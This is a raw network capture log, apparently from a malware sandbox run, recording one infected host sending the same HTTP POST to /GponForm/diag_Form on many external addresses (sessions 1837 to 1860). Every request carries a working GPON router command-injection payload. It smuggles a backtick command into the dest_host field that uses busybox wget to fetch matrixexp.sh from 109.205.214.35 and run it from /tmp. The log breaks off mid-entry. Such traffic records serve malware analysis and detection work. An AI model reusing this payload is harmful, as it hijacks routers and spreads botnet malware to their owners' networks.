Mar 21, 2024 05:23:33.821197033 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1837	192.168.2.13	57416	212.252.164.134	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.821228981 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1838	192.168.2.13	50154	212.110.59.147	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.821230888 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1839	192.168.2.13	37174	212.212.229.56	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.821274042 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1840	192.168.2.13	58894	109.9.215.121	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.821285009 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1841	192.168.2.13	60800	118.65.22.233	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.821307898 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1842	192.168.2.13	55256	212.149.26.29	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.821309090 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1843	192.168.2.13	60354	118.188.23.127	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.821332932 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1844	192.168.2.13	59116	5.14.41.85	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.821338892 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1845	192.168.2.13	56610	109.197.146.123	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.821393013 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1846	192.168.2.13	38510	5.17.129.84	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.821418047 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1847	192.168.2.13	34768	118.136.117.54	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.821424007 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1848	192.168.2.13	49768	118.167.10.110	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.821471930 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1849	192.168.2.13	47044	109.12.106.209	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.821527004 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1850	192.168.2.13	58592	118.248.220.33	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.821537018 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1851	192.168.2.13	37590	212.28.79.230	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.821559906 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1852	192.168.2.13	50726	212.132.230.59	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.821566105 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1853	192.168.2.13	54272	212.162.165.210	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.821588039 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1854	192.168.2.13	57084	118.54.199.164	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.821624041 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1855	192.168.2.13	57442	5.120.231.159	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.821639061 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1856	192.168.2.13	53610	118.210.103.68	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.821652889 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1857	192.168.2.13	50544	42.109.83.182	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.821675062 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1858	192.168.2.13	53534	42.187.33.47	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.821676970 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1859	192.168.2.13	45092	42.212.142.61	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:33.821703911 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1860	192.168.2.13	34008	212.174.111.175	443

Timestamp	Bytes transferred	Direction	Data
